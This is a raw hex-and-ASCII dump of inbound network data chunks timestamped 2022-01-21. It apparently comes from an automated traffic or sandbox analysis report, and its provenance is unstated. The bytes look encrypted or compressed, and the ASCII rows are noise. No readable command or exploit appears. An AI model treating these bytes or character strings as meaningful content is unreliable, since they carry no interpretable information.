                            2022-01-21 16:22:59 UTC511INData Raw: 38 c4 24 ea 08 cd 7c 6a 73 ba 24 08 b9 e0 4f 7e af 33 e2 19 9b bb 20 6c 2f 93 28 1b 7c be 18 8d 3f db 17 ca 66 7c a5 60 53 aa 1d 7d a1 a0 fe 12 b2 d0 cc 0e 13 f5 6f 85 1a 44 9b 1f 96 60 a3 85 d0 0c 79 b5 24 84 12 77 43 27 11 0d b0 10 e6 23 31 fb 58 88 50 95 8b e4 c9 37 66 26 7e e4 8f c9 34 7b 77 8a b5 8d 35 e4 5d 62 f6 59 02 8a 81 74 57 92 f8 a0 5b e3 36 1a 6a 30 79 35 3b d1 a3 d5 29 9c c0 55 8d d4 bb 32 5d 84 31 df d0 8d 72 b9 62 5c 76 4b ca 8f de f6 e4 85 ba ee b5 f6 72 e6 1c 3e 19 b4 e5 63 17 0c 7e 1b 9f 0a af 2b b4 89 f1 5c b0 62 a9 68 60 a7 aa 87 b3 fb 19 7b db a7 ff 7d 15 8c cf 56 a1 f6 0b ce 7e e2 86 ac fa 87 7a 7f 61 3a 9b 77 59 f2 94 9e 41 40 c9 3c d5 ff e9 66 f0 0f db f1 27 d7 8d de 16 d7 c0 ac 97 1f 4a 97 4d 85 e2 4b 4e bd f9 88 12 c1 ed 5c b3
                            Data Ascii: 8$|js$O~3 l/(|?f|`S}oD`y$wC'#1XP7f&~4{w5]bYtW[6j0y5;)U2]1rb\vKr>c~+\bh`{}V~za:wYA@<f'JMKN\
                            2022-01-21 16:22:59 UTC527INData Raw: 97 6b 23 f2 7b 2a f2 89 85 30 49 56 4d 33 2f f8 09 e4 86 51 19 64 98 d7 ea e7 bd a5 33 57 a7 26 6c 2b b4 58 75 da 49 53 9a 46 59 95 54 82 b4 c3 23 f7 b7 ec 41 12 18 3b 65 2b b6 45 0a a8 5f ad ff 7e c9 0e cb 75 7f 02 f1 6e 93 70 8f b2 8c e8 ca 2d 76 64 df 82 34 0c 53 d1 9c af 41 19 86 eb 59 ea 72 5f d9 0d 16 ab 9b f3 17 33 ef 57 0a 93 df ba 70 40 74 87 db bb 8b 2e 16 24 12 b0 be 07 ec 19 c4 a1 54 00 39 59 d5 b6 ca 2e d0 20 27 1b f8 ee 80 40 0c 97 77 d6 96 32 8b b7 10 21 dd 50 90 e3 19 13 d7 10 08 31 a5 90 73 26 44 e5 a5 db 38 b4 6d 62 1d 19 9b 3c 46 be e8 e7 a2 f5 ff 78 be 05 fb 99 48 af 7f 99 a6 ff 78 74 e8 8f a2 ab 8f b5 d2 8c 34 49 ac 62 b7 d0 8d f7 be 21 b2 c0 f1 89 94 88 c0 85 f7 54 f2 c3 c0 8c 99 55 80 9b 33 cc 7f 49 23 58 3f cc c0 59 ef 0a 58 a4 be
                            Data Ascii: k#{*0IVM3/Qd3W&l+XuISFYT#A;e+E_~unp-vd4SAYr_3Wp@t.$T9Y. '@w2!P1s&D8mb<FxHxt4Ib!TU3I#X?YX
                            2022-01-21 16:22:59 UTC543INData Raw: fe 8c 68 4e a7 9f ad a2 e6 6b fb 0b 65 9f b5 28 4c 25 51 f1 1e 53 7e 12 a4 01 0a f5 5a 7b a6 a4 1e 99 12 ad 7d 31 35 14 2c 71 2a a1 7d 44 68 7e 84 66 02 a9 4e 73 6b e2 b6 0d 2f 5e 47 56 65 76 09 2c ea da 86 2c 16 67 ca cf 26 4b 18 13 fd 12 cf 2e cc 8d 13 48 aa d4 35 67 7e 95 c6 34 53 00 d2 84 8c dd 90 1f c4 44 1b ff 4f fc c7 55 fc d3 e0 3e 37 fa 47 a7 30 f0 65 d4 c4 52 0d 06 dd 77 f6 a1 ab 2f 10 4c 38 ec 9f a1 08 5f ae 35 34 43 22 86 9b 1b 1c f2 65 a0 5c ad 64 b2 a9 e7 c7 78 a1 53 c6 e5 9f b4 c0 ea ab 21 9d 37 4b cd dc cd 7a 1f a5 fb 86 f9 c5 59 5b 97 33 f0 79 42 60 14 09 cf 3d 07 6b 76 6e 42 d5 ae 80 4e 76 84 ba 04 6c ec 44 a9 e6 28 f8 2b f5 34 c5 52 71 14 06 bf 63 98 95 ac e9 69 02 a9 c1 51 9f b3 52 57 db b4 f0 08 1c a3 91 d0 dc fb f6 fb d9 aa a1 53 47
                            Data Ascii: hNke(L%QS~Z{}15,q*}Dh~fNsk/^GVev,,g&K.H5g~4SDOU>7G0eRw/L8_54C"e\dxS!7KzY[3yB`=kvnBNvlD(+4RqciQRWSG
                            2022-01-21 16:22:59 UTC559INData Raw: 88 12 47 72 b6 2d 81 93 4f 9f 0e ff 1c a1 d7 3d bb d5 03 c2 f1 bf 12 71 46 d4 18 e9 d7 2d 81 5f a5 ea df 91 84 2d 05 57 c8 6e 17 34 38 a4 45 3a 23 64 87 b6 9d 47 ae d9 0c 8a a2 39 2e 48 d9 4e 94 a7 54 fb 37 59 cf 82 b2 f0 11 33 97 18 da 84 31 a2 64 67 80 43 a0 c6 25 ec 87 c0 97 cd 2a 91 4d 61 cd 0b eb 97 42 d8 6f d2 6d fd ef 6b 93 9d 07 3c f2 e2 88 53 09 e1 00 06 d3 bf af 29 7e 00 39 7f 2a 01 f4 9a 3f 88 1e 4a b2 f1 03 d2 fe 01 40 98 85 ea 65 84 cc 8a ba 28 f5 57 ba 6a 82 19 84 61 76 71 01 f6 47 59 c3 85 15 a1 9a 63 b2 48 7c e1 26 77 6d 8a ef 4e 0e 6e cc 32 ef 95 f5 f9 93 32 19 f4 01 e5 64 08 45 36 3f 3e 79 de 83 49 65 35 31 01 b5 ac 41 36 b0 0b 8d cb 45 bf 53 7d 84 d4 c0 46 00 ef 92 0b 5a 42 a0 c9 3f 71 ce a2 6f 6a 49 3e 63 88 0e b7 9e 2e e3 b8 b3 6b 04
                            Data Ascii: Gr-O=qF-_-Wn48E:#dG9.HNT7Y31dgC%*MaBomk<S)~9*?J@e(WjavqGYcH|&wmNn22dE6?>yIe51A6ES}FZB?qojI>c.k
                            2022-01-21 16:22:59 UTC575INData Raw: 00 08 95 ca 65 6f ce 24 2c 62 fb d7 28 7f ad 29 26 d9 67 a9 7b 98 15 09 34 3d c0 7d ad bf a4 fe 6b 7e 43 b4 8f 84 c3 e4 0b 30 c0 90 3f c2 05 9e fa 19 59 f9 58 d9 44 30 76 29 04 28 2d d8 32 4c 56 ee f1 89 e1 7d 32 4f a9 60 5e 38 1c 8c 71 70 32 ac 05 2f 87 ba ec 15 c0 fc fa 47 f2 cc 6f f9 f0 6f 02 b3 05 c5 e0 c0 4b 44 80 ee 81 ea 23 c8 91 cb 45 f0 47 07 47 87 86 86 25 01 26 ba f9 d5 dc e0 4c ba 5e 79 ab 7a 27 66 9f 4a 59 48 de 44 12 d9 26 7c 97 64 0e ae fd 5b 1d 2f 58 3a f1 16 20 5e 44 f3 b7 a9 d5 2a c7 f4 41 8e 74 d4 99 52 df cd 75 28 a7 b6 08 16 42 b6 32 e5 c8 29 a5 af 26 be 1a 1b 98 45 be db 7d e7 3a e4 bd a6 af 6d cd 5b 48 9a b2 bc 06 1d c6 39 47 5b fd 96 65 18 3e d1 1a c4 cd 38 9a 54 2c cb d1 31 ef e4 4c b1 06 78 cd b0 0f 16 e6 1a 9c e2 33 22 62 d9 20
                            Data Ascii: eo$,b()&g{4=}k~C0?YXD0v)(-2LV}2O`^8qp2/GooKD#EGG%&L^yz'fJYHD&|d[/X: ^D*AtRu(B2)&E}:m[H9G[e>8T,1Lx3"b
                            2022-01-21 16:22:59 UTC591INData Raw: 83 3e b4 b6 b6 48 25 99 5b 7d 36 18 81 c0 2a 9f 8b 5e 5f 1a fc 3b 1b 89 78 b8 95 a1 9b 55 54 73 f2 60 7b e0 6a 15 93 17 f5 a6 64 0d 19 5d e4 cc db 0d 7e f0 55 78 d8 be 8d f6 97 da 62 55 53 e1 3f 1f cf f9 5f ce 7e a3 5d c9 75 10 0e e1 da 98 95 2d b1 08 f8 c0 a8 c4 83 b9 15 df 43 e0 51 68 20 78 aa 3f f0 44 15 3f 14 59 1e 52 e7 9f c0 0c b8 28 f6 99 74 60 67 43 ee 3d 49 b2 8b 60 02 bc 80 cc b4 a3 18 0c ba ba ff 1c a1 d8 ee ac 7a b6 77 49 e8 99 9d 4c e8 79 a5 f3 4d 3a 36 56 27 df 43 fe 7e f3 90 23 2e b6 a0 c4 a6 23 56 8d ba 7f 5e 0f b9 62 9d 64 9e de c1 c3 4f e6 82 d9 68 0d db de 8f c9 bc 7e a6 66 df e8 64 c9 55 85 de 03 2a ab d7 c0 00 b7 12 fb a1 51 9d f0 9e c7 84 90 4b 0e 89 37 8b 13 50 6c 0e 77 a7 c5 39 06 b3 1a 9e ff ed f6 d8 4a 48 56 e6 25 68 7e 99 71 3c
                            Data Ascii: >H%[}6*^_;xUTs`{jd]~UxbUS?_~]u-CQh x?D?YR(t`gC=I`zwILyM:6V'C~#.#V^bdOh~fdU*QK7Plw9JHV%h~q<
                            2022-01-21 16:22:59 UTC607INData Raw: 2d 81 3f a1 df 49 bf a7 24 8d 87 61 fb ee b8 33 f8 1c 87 29 dd f5 2e af d3 34 4e 47 dd 77 58 b1 97 22 5f f3 02 cd 72 3a 8d 09 20 1f 3f 48 e9 7b 0e e6 8b 06 44 fb 58 28 20 80 16 64 96 0d a9 96 06 ff e7 d8 8e ff dc 4a a2 70 ab 1c 32 a0 1e 87 33 49 3e 5c 09 5b bc 43 e9 6d a7 0e 1d 5d 33 80 44 e3 bc b9 79 b4 f8 47 47 4d 4f b8 bf 98 82 5a c4 a3 d4 82 b2 a1 0b 7c e2 a4 bd 49 f7 71 e1 6b 37 24 53 b3 1f db b8 b0 65 71 9c 52 33 84 e5 06 09 e3 e6 ea 0f 11 b0 f1 1a 51 40 5b fd bd 90 c9 47 81 05 cb 43 5e 7e f8 38 a9 8d fa 21 a3 40 e7 e9 2f 40 0d be 2d f4 ca d5 ab 6e 27 19 ad 67 f7 30 e2 07 89 96 e4 d6 1f 5b 32 22 df dc 3a 96 8f 82 db 89 95 e3 b2 56 ef b0 0d b9 7f fa 3b 80 32 4c 8e 45 90 49 c3 22 45 1f 11 17 fb a0 01 27 cf ee 11 e8 44 5f f0 db ae d7 32 30 c1 eb 33 39
                            Data Ascii: -?I$a3).4NGwX"_r: ?H{DX( dJp23I>\[Cm]3DyGGMOZ|Iqk7$SeqR3Q@[GC^~8!@/@-n'g0[2":V;2LEI"E'D_2039
                            2022-01-21 16:22:59 UTC623INData Raw: 59 8c 37 68 a1 e4 f8 d4 fe 00 41 0c 31 ae 33 0f 5f f4 9d 18 36 fa 1b e8 d8 df 88 44 a2 14 f9 05 ed 4d 09 0a 4d 6b 9d bc 44 04 55 3a 75 9a 38 3c d6 72 cc 25 bf 1d e0 a0 f1 cf 64 12 c1 f9 c2 99 87 6e ae b4 51 66 fe c5 23 70 76 4e 2b ff cf 7f c4 8b b9 8e e9 f7 90 a6 c1 2c 23 87 1e a8 18 ac e7 ad 02 07 61 e1 56 2f 5d eb 5c 10 7b f8 45 4c 67 cf 85 fd f8 6e 31 71 91 8d 06 9a bd 06 6e 4b 6b b0 be 50 d2 2f 75 36 ce 29 5c b5 5a 35 70 d6 ea 7f fb 62 7f 05 83 c1 a7 0b c6 c5 be 4f 6c 1f 28 82 06 19 62 97 a6 02 d0 9c ab 91 be a9 f5 9e 83 ed 97 63 6f c1 4e d2 83 e7 1e d6 5c f4 a5 cc 3e 28 c3 4d fc 5d 6e ab ad 19 25 bf f2 93 fc a9 f4 17 30 40 d3 fd 3c d5 27 2f 6a 99 a5 d0 f5 27 5c c8 50 ef 6f c5 05 e1 ad e1 44 5b f2 50 fe e2 41 72 64 c8 ed ee a0 fe f9 f8 9e 76 0e d5 10
                            Data Ascii: Y7hA13_6DMMkDU:u8<r%dnQf#pvN+,#aV/]\{ELgn1qnKkP/u6)\Z5pbOl(bcoN\>(M]n%0@<'/j'\PoD[PArdv
                            2022-01-21 16:22:59 UTC639INData Raw: 44 9e c7 54 d0 52 ba 58 c7 f8 6e 01 fc d7 37 ee 6d 94 1f 25 53 85 cb 84 77 6a 4a 21 28 cf d9 1a c9 7b 0a a1 c4 57 bc 51 06 f6 66 4a 96 7e 8f 3b 66 0f 2f b0 f0 5f 7d c3 a6 10 60 34 7b c3 75 7f 0e 59 84 82 c8 35 e7 7b 16 c6 25 42 97 4f 38 7b cc 54 56 6a f1 c5 c8 b2 8b 16 20 f2 57 fd 40 5c bb e4 96 0b 46 91 68 26 7a 05 00 bd 03 e6 e3 8e c6 8c 1e c8 73 78 b4 33 c9 e0 01 27 e0 da 33 06 1f 2b a0 9b d3 2f 35 cc 0e 5d 6d 12 c1 f1 69 a0 aa fe 9a 34 fd 94 86 2a 0e 9f fc 9c 20 5e 77 2c 7d 05 39 ac 73 cf 09 7f 16 71 c3 39 a0 06 6f cb b4 8d be 00 eb 37 64 5e 7b 2c dc 13 24 85 15 0e 11 2e fe 04 7c 00 70 a2 53 f5 72 c6 76 f2 34 b3 16 3e 65 f8 da de 57 7f d0 39 87 a8 3e e1 1b 37 bf 7b 01 85 f1 73 8d 32 cf b8 20 01 d0 cb d1 7a 04 1a 84 f8 a4 af d0 1d 47 66 85 8c 88 c0 5e
                            Data Ascii: DTRXn7m%SwjJ!({WQfJ~;f/_}`4{uY5{%BO8{TVj W@\Fh&zsx3'3+/5]mi4* ^w,}9sq9o7d^{,$.|pSrv4>eW9>7{s2 zGf^
                            2022-01-21 16:22:59 UTC655INData Raw: 47 01 a2 ba 0b ed 82 56 90 0e da cd e0 47 d8 38 97 ed 33 9a 1b 1d 7b c0 42 0b b3 d8 66 38 ab e9 92 9f 1b 6c a1 1b 4b b5 66 1a df 34 30 d7 5a 26 69 f0 88 89 dd e6 a0 ab 30 09 c1 23 0b b9 a1 64 12 5f 10 dc 45 29 40 e5 44 cc 2e 05 e1 b5 0e 9a 5f 70 9c ae f5 f7 01 67 72 a1 73 3a c9 1f 1c c4 46 db f7 36 c3 37 70 01 1d a6 3e 1f b3 7e 8b 30 c8 13 a8 5e 44 f2 39 26 62 2a 27 eb 03 58 ca 37 69 2c a1 08 98 28 68 01 05 11 47 fd 20 5f 9e 12 b0 04 bf ed 6c 10 64 01 cc 9e 54 ea e5 08 a4 bf a7 aa c9 98 42 30 0b 5b 29 27 dc f3 b7 3a 24 be 15 57 1d c2 18 e4 ad 71 bb 31 ff 7e 54 32 37 a0 84 00 be ba c1 23 25 70 e7 8a f9 bd 5f 2c 8b 80 ef 78 41 78 8d e0 21 85 c5 ee 61 2f 64 a2 d6 4f 8a ba 8f c3 05 70 dc 09 9b 1c 5e e3 bc 99 31 29 42 17 91 2c 05 99 63 08 96 f8 06 6e 7d 6c 68
                            Data Ascii: GVG83{Bf8lKf40Z&i0#d_E)@D._pgrs:F67p>~0^D9&b*'X7i,(hG _ldTB0[)':$Wq1~T27#%p_,xAx!a/dOp^1)B,cn}lh
                            2022-01-21 16:22:59 UTC671INData Raw: de 46 b7 df 00 e3 5e 78 5b f5 c2 9a af 43 b2 97 08 ce 04 95 2e b5 a5 52 22 e9 1b a4 49 0f fd 8e 97 96 a3 bc 7c 85 15 e3 8e 73 2a 5c 94 8a 46 5e cb 81 23 ee 9c 33 25 d8 4e 9c 22 7f 56 93 83 5d 7c 42 cb 23 fe e8 46 48 ff e4 a5 9d 3d 97 9a cd fe b8 8d b9 c6 5c df 8b 35 39 7b 15 01 eb 0d 68 a6 e5 93 62 cc 1b c0 9c 83 cf 97 d9 a8 76 04 3a 94 0f b8 dc 48 e5 e5 72 22 4d c1 d5 88 fa 12 30 58 9d a5 31 1d 2c 32 e7 61 b6 a5 35 8c 03 a8 50 f4 1d 16 8f ad 7c 78 07 68 d9 75 d9 e6 fe 0d ac 5b a6 1d f8 68 84 e6 50 b5 69 81 ec 74 81 34 6d d7 0f 82 79 35 a9 95 71 80 83 cc 3c 48 12 25 83 83 26 f9 7b f6 62 39 39 47 16 c6 83 8b b6 ac ab ef 38 41 08 f3 02 5b d8 bd 62 42 bd da 48 52 f2 6d 46 de bd 69 08 0b ba 6a af f5 4f d7 73 b4 a4 c3 8d fd 7d 3c c7 73 4b ae a5 31 b6 b8 c2 d2
                            Data Ascii: F^x[C.R"I|s*\F^#3%N"V]|B#FH=\59{hbv:Hr"M0X1,2a5P|xhu[hPit4my5q<H%&{b99G8A[bBHRmFijOs}<sK1
                            2022-01-21 16:22:59 UTC687INData Raw: 9d d3 cb 37 3c 77 50 33 24 1e e7 12 c7 a4 9b 03 09 65 b7 a1 5b 45 40 5b 95 51 90 57 21 81 16 cb 40 58 76 08 53 07 85 71 9a 71 1b e9 23 ff 96 f3 fb a6 9e 89 59 db 69 d9 68 d6 90 f5 03 57 53 54 9b ce c7 4a d0 87 fe d8 83 3a 52 3f 1d 89 77 e9 68 41 0b 13 93 e5 8c e6 75 f5 7a c0 5b 09 ba 17 a4 3e 24 06 63 4d a6 dd 3c 62 98 b9 17 cb 79 3e 74 91 0e 3d 7d 88 b3 e6 14 ee 00 37 d2 61 e1 2c 0c 02 66 90 fc 9d 13 85 1a 88 9c 7c 72 ff ac 9f c8 d5 b3 32 da 31 e1 c0 d6 ab 4d c1 e0 69 a4 40 ea 24 bd b2 bd 9e 1c 65 cb a9 9c 5f 3c a7 b6 88 07 c5 29 57 9a f5 c1 58 44 0b 3e 22 c6 ed 95 77 a4 84 18 f9 bc 4c ec d2 a6 9b 84 3d 92 3c ff 66 f2 3a 60 1e ec 07 6d 06 7d 32 94 a6 3a 32 a1 ec 22 32 c8 d1 31 58 27 d6 86 fb 4c 32 f3 84 63 8c 18 7f 16 66 ca 3e 13 1f 11 76 56 07 c8 3d a7
                            Data Ascii: 7<wP3$e[E@[QW!@XvSqq#YihWSTJ:R?whAuz[>$cM<by>t=}7a,f|r21Mi@$e_<)WXD>"wL=<f:`m}2:2"21X'L2cf>vV=
                            2022-01-21 16:22:59 UTC703INData Raw: 6e 08 8b c0 ae ac 43 23 0b b6 8a 54 6c f9 bf ac ad 18 f5 79 e8 7c 5e 83 75 5b 19 54 94 6f ab 1e 72 e5 cc c9 c4 09 2f f2 5b 55 80 7e 4c 17 78 cf 55 0b a8 1e b3 0f 9a 8d 20 cf 22 8f 23 49 08 78 2e 9e ab 8c 65 ff 39 8f bc 1b 78 1e 42 a4 b2 5a ae 1a 63 8b f1 3f 49 fa 1c a2 7e cb 5c 4b b7 61 9a 9b a9 48 61 65 91 f0 2e 8d fe 39 60 f5 e2 b4 e6 52 b3 7f 01 06 10 8b 06 55 c2 83 5c df f8 69 6d 8a 08 2a 4f 3d b5 a6 d0 d0 83 ca 11 fc 8f 34 f3 2c f5 ce af 62 42 91 e9 bc 0a c6 d3 88 52 87 88 97 d7 8f d3 fd 42 30 5c 94 69 30 59 bc 80 12 1d 2e a6 f8 79 38 29 03 fd 79 20 7f d6 ba a6 5d 6e d7 81 79 0c 95 21 5f 8f a0 a3 5c ff 0f d1 9b 7e c8 be 90 12 43 c9 07 57 ca df 76 30 4f d6 53 32 24 3e 77 50 be 72 28 79 bc 81 fe 05 d6 c7 57 e0 17 af 3d 72 3c 39 63 22 21 f4 2a b6 98 69
                            Data Ascii: nC#Tly|^u[Tor/[U~LxU "#Ix.e9xBZc?I~\KaHae.9`RU\im*O=4,bBRB0\i0Y.y8)y ]ny!_\~CWv0OS2$>wPr(yW=r<9c"!*i
                            2022-01-21 16:22:59 UTC719INData Raw: d2 d0 40 9b b3 b1 e7 7f 35 c3 c7 04 ed 93 3d 34 87 c0 4c d5 06 9f 77 80 73 16 c9 f4 31 c6 41 b0 73 cf 8c 34 22 7e b8 c2 38 c5 78 02 4c 06 fb db a2 eb 1e 45 2e d4 0d b1 da 74 77 50 92 0b 79 13 01 e0 70 67 dd 35 a0 75 4a e9 49 53 17 7b d7 38 08 6c 2b f6 84 f1 0c 62 5d 82 ed 68 e1 c3 3c 5b ef 4a f6 bd 31 33 c5 a3 66 d3 9a ba cc 4d 51 c7 85 af 31 fb 2c b4 0f 09 7e 96 2d a9 5c 1a 95 3d 72 65 57 4e 31 24 ab 16 ec 38 e6 5b 61 0c 0f b0 10 a7 87 d5 a5 7e 8c 6f bc 0b 66 43 2f cd bb d4 ff 53 38 76 6f dd 12 82 b0 d6 a8 5b 0d 0c 70 f4 63 8f a9 1a a4 df ab 0e 86 33 a7 af 77 64 ff fe 5e 38 2a 80 71 70 34 94 70 7b db ea 89 25 c0 fc 4a 62 32 b8 7a 25 14 78 fe 86 4d 9f 5f 0c c0 ba e0 57 04 9e 40 88 1c 01 db 1c a0 32 bd 60 7a 41 25 8e ce bb 8c d0 76 ae 4b 13 d9 de 39 77 e7
                            Data Ascii: @5=4Lws1As4"~8xLE.twPypg5uJIS{8l+b]h<[J13fMQ1,~-\=reWN1$8[a~ofC/S8vo[pc3wd^8*qp4p{%Jb2z%xM_W@2`zA%vK9w
                            2022-01-21 16:22:59 UTC735INData Raw: 57 a8 a6 b2 65 9a 03 f1 76 a0 84 12 ba 87 46 e4 e7 5d ef 4c 48 29 61 27 a0 6c 8b b1 e6 20 64 95 34 ce c7 10 f7 84 10 32 fc 3d 16 c2 9a a0 e2 28 73 80 f9 f8 52 7d 3b 49 d8 f4 d7 14 83 a7 e5 13 05 13 73 ff 86 db 77 04 2a cf 05 c9 26 ce fb 90 50 0a f4 5a 76 29 b7 6b 76 f5 0f 61 e8 25 6a 9e e4 b6 5f 98 00 73 f0 e3 bc 3c 31 9d a6 1f 2b 88 79 9e 69 48 d9 b5 b6 e4 50 27 5f 49 a8 dc d8 50 6c 75 bb bc 56 1f b6 b4 51 52 0b e7 75 3a b3 a9 a7 77 8f 5d 6a 66 91 70 c9 09 72 6e ac 9d 1c d2 a7 02 f5 de 08 d5 db c5 2e 5e 55 92 cc 7d 6c f6 f1 00 9a 7f 26 d0 b4 3c 49 c8 5d 45 3b c2 55 e1 84 6b 7b b1 89 f2 c0 21 d2 49 d7 98 ac 10 de 0f 5c ef 9e 32 71 c3 f7 f5 1c 27 72 b9 61 27 c5 12 b1 1b be 1a a1 79 6f e5 21 4d c2 78 e7 be 9a 25 a1 22 74 e5 7f 85 da c2 38 2b 95 c3 38 63 00
                            Data Ascii: WevF]LH)a'l d42=(sR};Isw*&PZv)kva%j_s<1+yiHP'_IPluVQRu:w]jfprn.^U}l&<I]E;Uk{!I\2q'ra'yo!Mx%"t8+8c
                            2022-01-21 16:22:59 UTC751INData Raw: e2 e4 84 bf 8a b9 13 f4 ac d7 37 cc e3 a7 29 f5 3d 2c 6c 04 bb 8e bb c3 44 c2 76 8e 2c 79 51 bd d4 a2 09 b6 dd 68 69 5a 48 92 f0 7c 98 d0 d2 be 35 41 4a f6 c9 84 40 4e 06 c7 13 ab 23 76 ca c6 b5 16 03 72 52 dd ca 4b 82 3c 72 3e 6e 9b 4f 65 52 7a a4 27 e1 77 e8 84 93 fe f8 a9 ce 41 55 28 9e cd 05 70 b1 e4 72 c2 5e c8 3f c0 b7 3f 8c 3f f4 69 28 98 57 f4 6e 89 8b d8 35 b0 bd d2 2f bc 02 a3 e4 b7 fa f5 88 54 be 37 f7 3a 34 c6 96 4c aa 86 60 88 80 73 98 da f0 e7 bf b8 a2 f8 8a 01 7f ad f4 4c b3 db 33 6d ca c2 02 72 ec ec 23 b9 c9 a0 a1 fe 1c d8 15 a9 fd ba cf ff 87 52 6b 80 3f 07 f8 5f 4d 4f b5 59 d8 d0 ce ad 09 50 40 3d ca d8 0e 03 e7 e7 30 ee c8 48 28 78 45 ff f1 40 41 f5 70 2f 7c bb c4 a3 c0 4d b4 2b f8 0e 98 54 6e d6 5d 76 f6 14 cb 8a fa d8 3c d1 3d 70 42
                            Data Ascii: 7)=,lDv,yQhiZH|5AJ@N#vrRK<r>nOeRz'wAU(pr^???i(Wn5/T7:4L`sL3mr#Rk?_MOYP@=0H(xE@Ap/|M+Tn]v<=pB
                            2022-01-21 16:23:00 UTC767INData Raw: c1 b2 95 9f 4c 0c b1 cb 9f 48 84 59 78 11 1f 01 af 13 c7 c0 e9 c9 97 cd 65 9f fd b3 a1 d4 73 c8 1f b0 7d 69 4b 56 5b 2a 56 2c fb 84 64 04 cb 5f a4 89 f6 a8 af 53 b9 ea f0 66 a9 41 00 c2 e4 fa 1a 30 56 ce 50 09 3a 3d 9f e7 f5 d8 e6 c7 0a 87 91 ba ea 6b ec ea d2 93 4d 80 52 96 18 45 ce 52 f8 d2 69 73 b0 84 61 82 c6 4a 18 90 e7 ea 94 bb 57 6c 63 b5 e6 96 7a 73 37 68 4a 82 f9 39 a4 25 c2 c6 d1 32 f1 98 5f 74 16 e8 09 74 1d 81 d4 19 86 99 e7 91 c6 e5 31 51 24 fe 8e c9 ac bc cf f4 53 08 76 f4 85 56 d6 23 9c b8 0e 4b 2f d4 92 19 8c 44 f6 f6 75 ec f4 f3 27 83 b1 e7 f9 22 dc 77 fb 0b 5a 40 bc 29 24 00 2f ed 48 ad 19 9e 15 81 b9 89 17 88 e2 cd f3 0c 02 99 21 65 29 82 7a 01 19 18 d5 07 9c c9 91 67 85 52 f8 b2 2f f9 5e 65 79 31 b9 0d 2d dd bb 78 b6 f8 dc 28 8b db c0
                            Data Ascii: LHYxes}iKV[*V,d_SfA0VP:=kMRERisaJWlczs7hJ9%2_tt1Q$SvV#K/Du'"wZ@)$/H!e)zgR/^ey1-x(
                            2022-01-21 16:23:00 UTC783INData Raw: a7 c4 f1 70 9a 2b 8a bd 13 7a 0c 21 8a a5 ec 52 e2 85 5c d7 ab 37 5a 76 62 1b cc 7b e0 9c 90 ce 37 ff 7a dc e6 20 eb 30 2c bc c9 d3 0e 58 b1 2a ae cc ed 62 0d 2b 06 f5 bd c7 52 7e 5d 17 b4 18 38 eb 30 a2 16 5e ac d8 b8 f6 61 31 0d ab b8 b1 89 35 39 dd 9b 38 bd 01 37 45 3c f6 8d f9 58 26 5e 73 8d 7c 8e 77 8b 6f f5 52 24 1a 2f 84 cc 1c 83 90 4d c1 5f 7f f4 2b c8 0b b6 d3 cd f5 46 79 56 75 e0 18 87 3e a1 15 d8 e9 80 83 f6 3b 2d bc 4c 00 88 f3 ad e6 54 79 ab da 79 f4 2e f7 dc 50 4d 3e 14 61 ee 4f 89 86 52 d3 89 7b 14 bc d4 65 f7 4b 8f 4a f7 f2 27 7b 9b 4c 2f ca ad 6c ce de a2 78 64 35 31 01 41 d8 a4 9d 27 6d f8 a2 e8 ae 25 4d 2b 65 5b 25 a7 99 6a a2 67 cf 4b d9 fc 82 88 23 30 35 be fc b7 36 a7 33 dc 25 48 60 aa 94 b4 51 5a c1 75 ce a7 2d be 69 f1 5a c9 af 3e
                            Data Ascii: p+z!R\7Zvb{7z 0,X*b+R~]80^a15987E<X&^s|woR$/M_+FyVu>;-LTyy.PM>aOR{eKJ'{L/lxd51A'm%M+e[%jgK#0563%H`QZu-iZ>
                            2022-01-21 16:23:00 UTC799INData Raw: 32 cc 7b 1a 7d 71 26 9b 95 09 65 b7 e9 23 eb bf d9 16 99 6f 0c 02 49 40 b9 13 d3 2b c0 99 b9 7a 09 de fa 19 b2 60 12 97 07 f3 25 7f 6b 90 67 6f c5 5c 55 ee 05 4a 67 59 72 73 b9 15 42 9a 9b 73 8f 8f b1 54 24 11 c8 02 62 eb 3f 03 2b ad b7 cc e3 73 7e 78 51 f9 40 45 9c 0c 3f af 68 5d 04 9e c8 48 68 d8 44 5b 0d b1 47 9f 85 86 ad c8 8b bb 0b e3 b6 f0 8e 9a 17 21 72 fc 0b 64 2f 00 1b 48 fe 44 d5 5f de 34 d2 64 05 8e d5 5b 93 ec 8b 1e d1 16 20 38 c5 2e da ab aa 2a a1 7d db e3 33 d4 10 34 56 5b 6b 61 e2 b6 03 ef 51 c3 ec 2e 33 09 2d af 26 bd 3b 69 57 c3 88 d9 7d e7 66 ae 8a 89 36 a6 cd 7b c8 d1 91 35 87 0d c5 39 d3 2c ba e4 09 99 f5 d1 fe 8f 88 5e 97 ca 3c c8 15 7a 96 e0 b6 bc 87 b3 19 7b 4a 16 e1 f7 66 80 55 51 11 ca 86 8f 42 fc e0 4e 48 42 ce 7c 7f 5e 25 bc 33
                            Data Ascii: 2{}q&e#oI@+z`%kgo\UJgYrsBsT$b?+s~xQ@E?h]HhD[G!rd/HD_4d[ 8.*}34V[kaQ.3-&;iW}f6{59,^<z{JfUQBNHB|^%3
                            2022-01-21 16:23:00 UTC815INData Raw: 10 5a 78 18 51 bc 27 c2 ff 69 d7 29 ea c6 24 e6 b2 77 ae 05 7a a1 eb 26 90 a8 95 75 03 d8 71 84 46 b8 20 fd 1b 7f e4 86 30 3f 4d 0d 71 00 bd 67 29 72 67 3d 58 7d dd ce 18 9b f9 01 44 3d 34 66 f4 9f ac d2 45 34 ed 0d 76 ed 47 e6 e8 eb 74 3d 3f 29 27 84 bf c4 ea 6c 7a ed d3 b5 fc 6d 15 e3 6f 0e f8 85 c7 bb f3 8b 99 bc 11 c5 c7 44 20 69 5b a9 80 ef b6 f1 7f 9d 3c 19 e3 76 60 73 37 82 87 bb 6e a6 72 55 d1 8c 9a 90 ad 3a 73 6f da a1 fc e8 07 e8 a8 4e 62 c1 e9 f7 cb 28 4d b6 56 23 4f 4a 2f de 38 a8 ec a4 00 e7 c4 cb 9a 45 8a 63 a4 2d 77 11 b3 1c 9e 02 10 30 18 c6 02 39 40 2a 0b fa ea 81 c4 9f ea 9f 96 93 dd 83 e5 4f 83 d8 2a bd d7 a3 a8 7a 08 73 42 a3 80 ef f1 5e eb c3 fb 32 38 57 b3 54 34 38 ce ef c5 00 19 3b 12 a2 3e 2a 36 63 fc 75 ca fb f1 9f 7f cf 2e 20 a8
